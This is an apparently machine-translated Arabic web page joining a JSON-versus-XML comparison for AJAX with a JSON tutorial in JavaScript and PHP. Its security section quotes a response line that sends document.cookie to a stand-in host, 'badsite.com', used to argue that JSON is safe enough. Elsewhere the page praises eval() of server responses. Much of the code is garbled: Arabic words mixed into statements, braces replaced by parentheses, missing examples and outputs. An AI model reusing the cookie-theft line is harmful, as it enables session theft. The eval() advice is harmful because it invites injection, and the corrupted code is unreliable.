          شخص الشخص = شخص جديد ()؛ person.setFirstName("Subbu"); person.setLastName("Allamaraju"); الكاتب.write(JSONObject.fromObject(person).toString());

          إذا أخذنا بعين الاعتبار عمل واجهات البرمجة هذه، فإن إنشاء JSON لا يختلف كثيرًا عن تسلسل وحدات Java إلى كائنات. ومع ذلك، تجدر الإشارة إلى أن هناك الآن طرقًا عديدة لإنشاء XML أكثر من JSON. بعض واجهات برمجة تطبيقات XML هذه موجودة منذ سنوات عديدة ولهذا السبب قد تكون أكثر استقرارًا عند استخدامها للتطبيقات المعقدة.

          هناك جانب آخر يجب مراعاته وهو مقدار الموارد المستخدمة لتوليد الاستجابة. إذا تم بالفعل تنفيذ العمليات "الثقيلة" عند تلقي البيانات، فلن يكون من الصعب على جزء الخادم تحويلها بالإضافة إلى ذلك إلى XML للاستجابة. إذا كان إنشاء XML هو العملية الأكثر استهلاكًا للموارد، فمن الأفضل استخدام JSON.

          سهولة الاستعمال

          من جانب العميل، تعد معالجة بيانات JSON كاستجابة لطلب XMLHttpRequest أمرًا بسيطًا للغاية.

          var person = eval(xhr.responseText); تنبيه (شخص. الاسم الأول)؛

          باستخدام eval() العادي يمكنك تحويل الاستجابة إلى كائن JavaScript. بمجرد اكتمال هذه العملية، يمكن الوصول إلى البيانات باستخدام خصائص الكائن المحول. هذا هو الجزء الأكثر أناقة في جميع JSON.

          الآن دعونا نلقي نظرة على XML. لجعل مقتطف الشفرة أدناه أكثر شفافية، قمت بإزالة جميع عمليات التحقق من الأخطاء.

          "الاسم الأول")؛ تنبيه (عناصر [0].firstChild.textContent)؛

          من الواضح أنه عند معالجة البيانات الواردة من الخادم، من الضروري النظر في شجرة DOM بأكملها. هذه عملية كثيفة العمالة وعرضة للأخطاء. لسوء الحظ، في المتصفح علينا أن نتعامل مع DOM. لا تدعم المتصفحات لغة استعلام مثل XPath لاسترداد عقد الشجرة في مستند XML. ينطبق دعم هذه الوظائف بالفعل على XSLT، ولكنه محدود جدًا ( ملاحظة: في المتصفح) من حيث تحويل XML إلى علامة (على سبيل المثال، HTML). مجموعة العمل المعنية بواجهات الويب ( مجموعة عمل واجهة برمجة تطبيقات الويب) من W3C يعمل على واجهة محدد ( واجهة برمجة تطبيقات المحددات)، والتي يمكن استخدامها لتطبيق محددات CSS عند تحديد العقد من كائن المستند. باستخدام مثل هذه الواجهة، سيكون من الممكن تحويل مثال التعليمات البرمجية أعلاه إلى xml.match("person.firstName") للحصول على عنصر الاسم الأول. لا يعد هذا إنجازًا كبيرًا لمستند XML في هذا المثال، ولكنه قد يكون مفيدًا للعمل مع مستندات متفرعة للغاية. هذه الواجهة لم تكتمل بعد، وستمر سنوات قبل أن تدعمها المتصفحات.

          بشكل عام، إذا كان علي الاختيار بين XML وJSON، سأفضل JSON نظرًا لسهولة تنفيذ المعالجة من جانب العميل.

          القابلية للتوسعة

          تساعد القابلية للتوسعة على تقليل عدد الاتصالات بين موفر البيانات والمستلم. في سياق تطبيقات AJAX، يجب أن يكون البرنامج النصي من جانب العميل ثابتًا بدرجة كافية فيما يتعلق بالتغييرات المتوافقة في البيانات.

          الاعتقاد العام هو أن لغة XML قابلة للتوسعة تلقائيًا بفضل وجود الحرف "X". لكن هذه ليست قاعدة غير مشروطة (أي التصرف بشكل افتراضي). تعتمد قابلية توسيع XML على مبدأ أنه يمكنك تحديد عقد إضافية في XML الخاص بك ثم تطبيق قاعدة "تخطي ما هو غير مطلوب" (على سبيل المثال، إذا واجهت عنصرًا أو سمة غير مألوفة أثناء معالجة XML، فما عليك سوى تخطيها).

          للاستفادة الكاملة من القابلية للتوسعة، تحتاج إلى كتابة تعليمات برمجية من جانب العميل مع وضع القابلية للتوسعة في الاعتبار. على سبيل المثال، سيتم تفصيل المثال التالي إذا كنت تريد إدراج عنصر الاسم الأوسط، على سبيل المثال.

          var xml = xhr.responseXML; عناصر var = xml.getElementsByTagName("firstName"); var firstNameEl = element[0]; var lastNameEl = firstNameEl.nextSibling;

          إذا قمت بإدراج عنصر مباشرة بعد العنصر، فسيؤدي هذا المثال إلى إساءة تفسير الاسم الأوسط كاسم أخير. لكي تكون ثابتة لهذا التغيير، يجب إعادة كتابة التعليمات البرمجية للحصول على العنصر بشكل صريح، أو الوصول إلى nextSibling فقط في حالة العثور على طفل يحمل العلامة المطلوبة. وبالتالي، فإن XML قابل للتوسيع طالما أنك تكتب التعليمات البرمجية مع وضع قابلية التوسعة المستقبلية في الاعتبار. كل شيء بسيط للغاية.

          دعنا نعود إلى JSON. أعتقد أن توسيع بيانات JSON أسهل من XML. وهذا يتطلب بلا شك جهدا أقل. لنفكر في إضافة خاصية الاسم الأوسط إلى استجابة JSON. للوصول إليه، ما عليك سوى الاتصال به.

          تنبيه(person.middleName);

          لن يتغير هذا الرمز إذا قمت بإضافة اسم وسط إلى إجابتك. ولكن ماذا تفعل في حالة معالجة شخص بالاسم الأوسط أو بدونه؟ مع JSON الأمر سهل.

          إذا (person.middleName) (/ المعالجة)

          موقفي هو أنه إذا تم وضع إمكانية التوسعة المستقبلية في الاعتبار، فيمكن توسيع كل من بيانات XML وJSON. لكن توسيع البيانات باستخدام JSON أسهل من استخدام XML. تحتاج ببساطة إلى التحقق من وجود الخاصية المطلوبة على الكائن والتصرف وفقًا لنتيجة الفحص.

          هناك خيار آخر لتوسيع بيانات JSON وهو استخدام استدعاءات الوظائف مع إعلانات البيانات مباشرة في الاستجابة.

          Alert("مرحبًا - أنا شخص"); (("الاسم الأول" : "Subbu"، "الاسم الأخير" : "Allamaraju"));

          عندما يتم الإعلان عن البيانات عبر eval()، سيستدعي المتصفح أيضًا تعبير التنبيه(). في هذه الحالة، يمكنك تحميل البيانات وتنفيذ الوظائف. يجب استخدام هذا الأسلوب بحذر شديد، لأنه يؤدي إلى تشويش الاستجابة باستدعاءات الوظائف وإنشاء اتصال بين الاستدعاءات والبيانات. تناقش بعض المصادر أيضًا الثغرات الأمنية المحتملة لهذا الأسلوب، والتي سيتم مناقشتها بمزيد من التفاصيل أدناه.

          تصحيح الأخطاء وتصحيح الأخطاء

          ينطبق هذا الجانب على كل من جانب الخادم لتطبيقك وجانب العميل. على الخادم، تحتاج إلى التأكد من تكوين البيانات بشكل صحيح وصحيح. يجب أن يكون من السهل تصحيح الأخطاء في الاستجابة من جانب العميل.

          باستخدام XML، من السهل نسبيًا التحقق من أن البيانات المرسلة إلى العميل جيدة الصياغة وصحيحة. يمكنك استخدام المخطط لبياناتك وتطبيقه للتحقق من صحة البيانات. باستخدام JSON، تصبح هذه المهمة يدوية وتتطلب التحقق من أن الكائن الناتج يتمتع بالسمات الصحيحة.

          من ناحية العميل، في كلتا الحالتين، من الصعب اكتشاف الأخطاء. بالنسبة إلى XML، لن يتمكن المتصفح ببساطة من تحويله إلى ResponseXML. بالنسبة للكميات الصغيرة من بيانات JSON، يمكنك استخدام ملحق FireBug لتصحيح الأخطاء وتصحيح الأخطاء. ولكن مع وجود كميات كبيرة من البيانات، يصبح من الصعب إلى حد ما ربط رسالة الخطأ بموقع محدد في الكود.

          أمان

          يقترح ديف جونسون، في مقالته JSON and the Golden Fleece، أن JSON يمكن أن يسبب مشاكل أمنية. جوهر الملاحظة هو أنه إذا سمحت بإدراج استدعاءات الوظائف مع البيانات في استجابات JSON واستخدمت eval() لمعالجة الاستجابة، فأنت تقوم بتنفيذ تعليمات برمجية عشوائية، والتي في الواقع قد تحتوي بالفعل على مخاطر أمنية.

          Window.location = "http://badsite.com؟" + document.cookie; الشخص: ( "الاسم الأول" : "Subbu"، "الاسم الأخير" : "Allamaraju")

          إذا تم تنفيذ الاستجابة في المثال أعلاه، فسيؤدي ذلك إلى قيام المتصفح بإرسال ملفات تعريف الارتباط الخاصة بالمستخدم إلى موقع الطرف الثالث. لكن في هذه الحالة، هناك بعض الالتباس في تعريف التهديد الأمني. يجب ألا تثق في البيانات أو التعليمات البرمجية التي تم الحصول عليها من مصدر لم يتم التحقق منه. وثانيًا، لن نتمكن من استخدام XMLHttpRequest للتواصل مع مجالات أخرى غير المجال المصدر للبرنامج النصي. لذلك، فقط المطورين أنفسهم، عند إنشاء تطبيق، يمكنهم البدء في إرسال ملفات تعريف الارتباط إلى موقع طرف ثالث. وهذا أمر مشكوك فيه تمامًا، لأنه يمكنهم بسهولة وضع هذه التعليمات البرمجية الضارة في أي مكان في المستند خارج استجابة البيانات المرسلة من الخادم. ربما أفتقد شيئًا ما، لكنني لا أرى أي فائدة من اعتبار JSON غير آمن مقارنةً بـ XML.

          اختياري

          بالنسبة للتطبيقات التي تركز على المعلومات، أفضل استخدام JSON بدلاً من XML نظرًا لبساطته وسهولة معالجة البيانات من جانب العميل. قد يكون XML أمرًا لا غنى عنه على الخادم، ولكن من المؤكد أن التعامل مع JSON أسهل على العميل.

          بالتأكيد سمعت عن JSON. ما هذا؟ ماذا يمكن أن يفعل وكيفية استخدامه؟

          سنغطي في هذا البرنامج التعليمي أساسيات JSON ونغطي النقاط التالية:

          • ما هو جسون؟
          • ما هو استخدام JSON؟
          • كيفية إنشاء سلسلة JSON؟
          • مثال بسيط لسلسلة JSON.
          • دعونا نقارن JSON وXML.
          • كيفية العمل مع JSON في JavaScript وPHP؟
          ما هو جسون؟

          JSON هي طريقة بسيطة تعتمد على النص لتخزين البيانات المنظمة ونقلها. باستخدام بناء جملة بسيط، يمكنك بسهولة تخزين أي شيء بدءًا من رقم واحد وحتى السلاسل والمصفوفات والكائنات في نص عادي. يمكنك أيضًا ربط المصفوفات والكائنات معًا لإنشاء بنيات بيانات معقدة.

          بمجرد إنشاء سلسلة JSON، يكون من السهل إرسالها إلى تطبيق آخر أو إلى موقع آخر على الشبكة لأنها نص عادي.

          يتمتع JSON بالمزايا التالية:

          • انها مدمجة.
          • جملها سهلة القراءة والتأليف من قبل كل من البشر وأجهزة الكمبيوتر.
          • يمكن تحويلها بسهولة إلى بنية بيانات لمعظم لغات البرمجة (الأرقام والسلاسل والمنطقيات والمصفوفات وما إلى ذلك)
          • تحتوي العديد من لغات البرمجة على وظائف ومكتبات لقراءة وإنشاء هياكل JSON.

          يرمز الاسم JSON إلى JavaScript Object Notation. كما يوحي الاسم، فهو يعتمد على طريقة تعريف الكائنات (مثل إنشاء المصفوفات الترابطية في اللغات الأخرى) والمصفوفات.

          ما هو استخدام JSON؟

          الاستخدام الأكثر شيوعًا لـ JSON هو إرسال البيانات من الخادم إلى المتصفح. عادةً، يتم تسليم بيانات JSON باستخدام AJAX، مما يسمح للمتصفح والخادم بالتواصل دون الحاجة إلى إعادة تحميل الصفحة.

        • يقوم المستخدم بالنقر على الصورة المصغرة للمنتج في متجر عبر الإنترنت.
        • يقوم JavaScript الذي يعمل على المتصفح بإنشاء طلب AJAX إلى برنامج PHP النصي الذي يعمل على الخادم، ويمرر معرف المنتج المحدد.
        • يحصل برنامج PHP النصي على اسم المنتج ووصفه وسعره ومعلومات أخرى من قاعدة البيانات. ثم يقوم بتكوين سلسلة JSON من البيانات وإرسالها إلى المتصفح.
        • يتلقى جافا سكريبت الذي يعمل على المتصفح سلسلة JSON، ويفك تشفيرها، ويعرض معلومات المنتج على الصفحة للمستخدم.
        • يمكنك أيضًا استخدام JSON لإرسال البيانات من المتصفح إلى الخادم عن طريق تمرير سلسلة JSON كمعلمة لطلبات GET أو POST. لكن هذه الطريقة أقل شيوعًا، حيث يمكن تبسيط نقل البيانات من خلال طلبات AJAX. على سبيل المثال، قد يتم تضمين معرف المنتج في عنوان URL كجزء من طلب GET.

          تحتوي مكتبة jQuery على عدة طرق، مثل getJSON() وparseJSON()، التي تسهل استرداد البيانات باستخدام JSON من خلال طلبات AJAX.

          كيفية إنشاء سلسلة JSON؟

          هناك بعض القواعد الأساسية لإنشاء سلسلة JSON:

          • تحتوي سلسلة JSON إما على مصفوفة من القيم أو كائن (مصفوفة ترابطية من أزواج الاسم/القيمة).
          • مجموعة مصفوفةمحاطة بين قوسين مربعين ([ و ]) وتحتوي على قائمة قيم مفصولة بفواصل.
          • شيءمحاط بأقواس متعرجة (( و )) ويحتوي على قائمة مفصولة بفواصل لأزواج الأسماء/القيم.
          • زوج الاسم/القيمةيتكون من اسم الحقل المحاط بعلامات اقتباس مزدوجة، متبوعًا بنقطتين (:) وقيمة الحقل.
          • معنىفي صفيف أو كائن يمكن أن يكون هناك:
            • الرقم (عدد صحيح أو نقطة عائمة)
            • سلسلة (في علامات الاقتباس المزدوجة)
            • القيمة المنطقية (صواب أو خطأ)
            • مصفوفة أخرى (محاطة بين قوسين مربعين)
            • كائن آخر (محاط بأقواس متعرجة)
            • قيمة فارغة

          لتضمين علامات الاقتباس المزدوجة في سلسلة، تحتاج إلى استخدام شرطة مائلة عكسية: \" . كما هو الحال مع العديد من لغات البرمجة، يمكنك وضع أحرف التحكم والرموز السداسية في سلسلة عن طريق وضع شرطة مائلة عكسية قبلها. راجع موقع JSON للحصول على التفاصيل.

          مثال بسيط لسلسلة JSON

          فيما يلي مثال للطلب بتنسيق JSON:

          ( "معرف الطلب": 12345، "اسم المتسوق": "فانيا إيفانوف"، "البريد الإلكتروني للمتسوق": " [البريد الإلكتروني محمي]"، "المحتويات": [( "معرف المنتج": 34، "اسم المنتج": "المنتج المتميز"، "الكمية": 1)، ( "معرف المنتج": 56، "اسم المنتج": "المنتج المعجزة"، "الكمية": 3 ) ], "اكتمل الطلب": صحيح )

          دعونا نلقي نظرة على السطر بالتفصيل:

          • نقوم بإنشاء كائن باستخدام الأقواس المتعرجة (( و )).
          • يحتوي الكائن على عدة أزواج من الاسم/القيمة: "معرف الطلب": 12345 خاصية بالاسم "معرف الطلب" وقيمة عددية 12345 "shopperName": "Vanya Ivanov" خاصية بالاسم "shopperName" وقيمة السلسلة "Vanya Ivanov" " "البريد الإلكتروني للمتسوق": " [البريد الإلكتروني محمي]"خاصية باسم "shopperEmail" بقيمة سلسلة " [البريد الإلكتروني محمي]" "المحتويات": [ ... ] خاصية تسمى "المحتويات" وقيمتها عبارة عن مصفوفة "orderCompleted": صحيح خاصية تسمى "orderCompleted" والقيمة المنطقية صحيحة
          • يوجد كائنان في مصفوفة "المحتويات" يمثلان عناصر فردية بالترتيب. يحتوي كل كائن على ثلاث خصائص: ProductID وproductName والكمية.

          بالمناسبة، نظرًا لأن JSON يعتمد على الإعلان عن كائنات JavaScript، يمكنك بسرعة وسهولة جعل سلسلة JSON أعلاه كائن JavaScript:

          var cart = ( "معرف الطلب": 12345، "اسم المتسوق": "فانيا إيفانوف"، "البريد الإلكتروني للمتسوق": " [البريد الإلكتروني محمي]"، "المحتويات": [( "معرف المنتج": 34، "اسم المنتج": "المنتج المتميز"، "الكمية": 1)، ( "معرف المنتج": 56، "اسم المنتج": "المنتج المعجزة"، "الكمية": 3 ) ], "اكتمل الطلب": صحيح );

          مقارنة JSON وXML

          من نواحٍ عديدة، يمكنك التفكير في JSON كبديل لـ XML، على الأقل في مجال تطبيقات الويب. يعتمد مفهوم AJAX في الأصل على استخدام XML لنقل البيانات بين الخادم والمتصفح. لكن في السنوات الأخيرة، أصبحت JSON شائعة بشكل متزايد في نقل بيانات AJAX.

          على الرغم من أن XML هي تقنية مجربة يتم استخدامها في عدد لا بأس به من التطبيقات، إلا أن JSON يتمتع بميزة كونه تنسيق بيانات أكثر إحكاما وأسهل في التعرف عليه.

          هذا هو الشكل الذي سيبدو عليه كائن المثال أعلاه في XML:

          معرف الطلب 12345 اسم المتسوق فانيا إيفانوف المتسوق البريد الإلكتروني [البريد الإلكتروني محمي]محتويات المنتج رقم المنتج 34 اسم المنتج كمية المنتج الفائق 1 رقم المنتج 56 اسم المنتج كمية المنتج المعجزة 3 الطلب مكتمل صحيح

          إصدار XML أكبر بكثير. في الواقع، يبلغ طوله 1128 حرفًا، بينما يبلغ طول إصدار JSON 323 حرفًا فقط. من الصعب أيضًا فهم إصدار XML.

          وبطبيعة الحال، هذا مثال جذري. ومن الممكن إنشاء سجل XML أكثر إحكاما. ولكن حتى أنها ستكون أطول بكثير من مكافئ JSON.

          العمل مع سلسلة JSON في JavaScript

          يحتوي JSON على تنسيق بسيط، ولكن إنشاء سلسلة JSON يدويًا يعد أمرًا شاقًا للغاية. بالإضافة إلى ذلك، غالبًا ما تحتاج إلى أخذ سلسلة JSON وتحويل محتوياتها إلى متغير يمكن استخدامه في التعليمات البرمجية.

          تحتوي معظم لغات البرمجة على أدوات لتحويل المتغيرات بسهولة إلى سلاسل JSON والعكس صحيح.

          إنشاء سلسلة JSON من متغير

          تحتوي JavaScript على طريقة JSON.stringify() مدمجة تأخذ متغيرًا وترجع سلسلة JSON تمثل محتوياته. على سبيل المثال، لنقم بإنشاء كائن JavaScript يحتوي على معلومات الطلب من مثالنا، ثم نقوم بإنشاء سلسلة JSON منه:

          var cart = ( "معرف الطلب": 12345، "اسم المتسوق": "فانيا إيفانوف"، "البريد الإلكتروني للمتسوق": " [البريد الإلكتروني محمي]"، "المحتويات": [( "معرف المنتج": 34، "اسم المنتج": "المنتج المتميز"، "الكمية": 1)، ( "معرف المنتج": 56، "اسم المنتج": "المنتج المعجزة"، "الكمية": 3 ) ], "orderCompleted": true ); تنبيه (JSON.stringify(cart));

          سوف ينتج هذا الكود:

          لاحظ أن الأسلوب JSON.stringify() يُرجع سلسلة JSON بدون مسافات. من الصعب قراءتها، ولكنها أكثر إحكاما للنقل عبر الشبكة.

          هناك عدة طرق لتحليل سلسلة JSON في JavaScript، ولكن الأكثر أمانًا والأكثر موثوقية هو استخدام طريقة JSON.parse() المضمنة. يتلقى سلسلة JSON ويعيد كائن JavaScript أو مصفوفة تحتوي على البيانات. على سبيل المثال:

          var jsonString = " \ ( \ "معرف الطلب": 12345، \ "shopperName": "Vanya Ivanov"، \ "shopperEmail": " [البريد الإلكتروني محمي]"، \ "المحتويات": [ \ ( \ "معرف المنتج": 34، \ "اسم المنتج": "المنتج الفائق"، \ "الكمية": 1 \)، \ ( \ "معرف المنتج": 56، \ "اسم المنتج": "السلع المعجزة"، \"الكمية": 3\ ) \ ]، \"اكتمل الطلب": صحيح \ ) \"; فار العربة = JSON.parse(jsonString); تنبيه (cart.shopperEmail)؛ تنبيه (cart.contents.productName)؛

          لقد أنشأنا متغير jsonString يحتوي على سلسلة JSON لترتيب المثال الخاص بنا. نقوم بعد ذلك بتمرير هذه السلسلة إلى الأسلوب JSON.parse()، الذي يقوم بإنشاء كائن يحتوي على بيانات JSON ويخزنها في متغير سلة التسوق. كل ما تبقى هو التحقق من خلال عرض خصائص كائن shopperEmail واسم المنتج الخاص بمصفوفة المحتويات.

          ونتيجة لذلك، سوف نحصل على الإخراج التالي:

          في تطبيق حقيقي، ستتلقى تعليمات JavaScript البرمجية الترتيب كسلسلة JSON في استجابة AJAX من البرنامج النصي للخادم، وتمرير السلسلة إلى طريقة JSON.parse()، ثم استخدام البيانات لعرضها على صفحة المستخدم.

          يتمتع كل من JSON.stringify() وJSON.parse() بإمكانيات أخرى، مثل استخدام وظائف رد الاتصال لتحويل بيانات معينة بشكل مخصص. تعتبر هذه الخيارات مفيدة جدًا لتحويل البيانات المتنوعة إلى كائنات JavaScript مناسبة.

          العمل مع سلسلة JSON في PHP

          PHP، مثل JavaScript، لديها وظائف مدمجة للعمل مع سلاسل JSON.

          إنشاء سلسلة JSON من متغير PHP

          تأخذ الدالة json_encode() متغير PHP وتقوم بإرجاع سلسلة JSON تمثل محتويات المتغير. فيما يلي مثال الطلب الخاص بنا، مكتوبًا بلغة PHP:

          يُرجع هذا الرمز نفس سلسلة JSON تمامًا كما في مثال JavaScript:

          ("معرف الطلب":12345،"shopperName": "فانيا إيفانوف"، "shopperEmail": " [البريد الإلكتروني محمي]"،"contents":[("productID":34,"productName":"المنتج الفائق"،"quantity":1),("productID":56,"productName":"منتج معجزة"،"quantity": 3)]"اكتمل الطلب":صحيح)

          في تطبيق حقيقي، سيرسل برنامج PHP النصي سلسلة JSON هذه كجزء من استجابة AJAX إلى المتصفح، حيث سيقوم كود JavaScript، باستخدام طريقة JSON.parse()، بتحليلها مرة أخرى إلى متغير لعرضه على صفحة المستخدم .

          يمكنك تمرير إشارات مختلفة كوسيطة ثانية للدالة json_encode(). بمساعدتهم، يمكنك تغيير مبادئ تشفير محتويات المتغيرات إلى سلسلة JSON.

          قم بإنشاء متغير من سلسلة JSON

          لتحويل سلسلة JSON إلى متغير PHP، استخدم طريقة json_decode(). لنستبدل مثالنا لـ JavaScript بطريقة JSON.parse() بكود PHP:

          كما هو الحال مع جافا سكريبت، سوف ينتج عن هذا الكود ما يلي:

          [البريد الإلكتروني محمي]منتج معجزة

          بشكل افتراضي، تقوم الدالة json_decode() بإرجاع كائنات JSON ككائنات PHP. توجد كائنات PHP عامة من فئة stdClass. ولهذا السبب نستخدم -> للوصول إلى خصائص الكائن في المثال أعلاه.

          إذا كنت بحاجة إلى كائن JSON كمصفوفة PHP مرتبطة، فستحتاج إلى تمرير true باعتباره الوسيط الثاني للدالة json_decode(). على سبيل المثال:

          $cart = json_decode($jsonString, true); صدى $cart["shopperEmail"] . "
          "; echo $cart["contents"]["productName"] . "
          ";

          سينتج عن هذا الكود نفس المخرجات:

          [البريد الإلكتروني محمي]منتج معجزة

          يمكنك أيضًا تمرير وسائط أخرى إلى الدالة json_decode() لتحديد عمق العودية وكيفية التعامل مع الأعداد الصحيحة الكبيرة.

          خاتمة

          على الرغم من سهولة فهم واستخدام JSON، إلا أنها أداة مفيدة ومرنة للغاية لنقل البيانات بين التطبيقات وأجهزة الكمبيوتر، خاصة عند استخدام AJAX. إذا كنت تخطط لتطوير تطبيق AJAX، فلا شك أن JSON ستصبح أداة أساسية في ورشة العمل الخاصة بك.



  • أخبر الأصدقاء